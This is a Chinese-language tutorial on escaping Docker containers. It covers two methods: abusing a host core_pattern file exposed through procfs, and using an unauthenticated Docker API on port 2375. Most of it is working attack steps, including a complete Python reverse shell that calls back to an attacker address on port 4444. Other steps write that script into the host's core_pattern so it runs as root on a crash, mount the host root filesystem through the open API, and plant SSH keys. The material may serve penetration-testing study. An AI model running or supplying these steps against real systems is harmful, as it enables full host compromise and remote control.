procfs(process file system):进程文件系统,指 Linux 系统上的 /proc 虚拟文件系统。/proc 是 procfs 在 Linux 系统上的挂载点。/proc 是 Linux 系统上的一个虚拟文件系统,由内核动态创建和维护的。它提供了一个接口,允许用户空间程序访问内核内部的数据结构、进程信息和系统配置。
core_pattern:Linux内核中的一个配置选项,用于定义当进程崩溃时,内核如何处理core dump文件。 它指定了core dump文件的保存路径或执行的命令。
Tips:
1、core_pattern逃逸属于procfs逃逸的其中一种方式,所以当挂载整个procfs的时候,一样适用该方法。
2、同样的道理当存在特权逃逸等方式的时候,如果无法正常利用/逃逸。当mnt挂载成功后也可以结合该方式构造攻击链获取宿主机权限。
技术原理:
宿主机为容器挂载core_pattern后,可以利用core_pattern的配置不当,导致恶意代码以root权限在宿主机上执行。
环境搭建:
docker run -d -p 9100:80 -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern --name nginx-test2 nginx:1.19.3
漏洞复现:
1、判断是否挂载宿主机的 procfsfind / -name core_pattern
2、找到当前容器在宿主机下的绝对路径cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
正确路径:/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged
3、安装 gccapt-get update -y && apt-get install gcc -y
Tips:
如果无法安装,先判断是否出网,然后判断源是否存在问题。
4、创建反弹脚本
shell.py
chmod 777 shell.py#!/usr/bin/python3import osimport ptyimport socketlhost = "x.x.x.x"lport = 4444def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") s.close()if __name__ == "__main__": main()
5、写入反弹 shell 到目标的 proc 目录下echo -e "|/var/lib/docker/overlay2/c2716a732a837612b8d7e08d9660cc0cbd043a919b151cee1996d09852911505/merged/shell.py \rcore " > /host/proc/sys/kernel/core_pattern
6、在容器里运行一个可以崩溃的程序
t.cint main(void) { int *a = NULL; *a = 1; return 0;}gcc t.c -o t./t
Docker API(Application Programming Interface): Docker 守护进程(dockerd)提供的一组RESTful接口,允许开发者、管理员以及各种工具与Docker引擎进行交互、管理Docker镜像、容器、网络、卷等资源。
技术原理:
利用未授权的API创建一个特权容器,并将宿主机的根目录挂载到容器中。
环境搭建:systemctl stop dockersystemctl stop docker.socketdockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375docker run -d --name nginx-01 nginx:1.19.3
漏洞复现:
1、查看是否存在未授权apicurl -s 172.17.0.1:2375/version |json_pp
2、查看所有容器apt install docker.io -ydocker -H tcp://172.17.0.1:2375 ps -a
3、查看容器信息curl -s http://172.17.0.1:2375/containers/json |json_pp
4、运行新容器,挂载宿主机根目录至/mnt 目录下。docker -H tcp://172.17.0.1:2375 run -it -v /:/mnt busybox sh
Tips:
针对不出网宿主机可以使用本身存在的镜像进行逃逸,出网宿主机使用busybox体积小、命令全。
5、写入ssh公钥
写入私钥直接连接宿主机。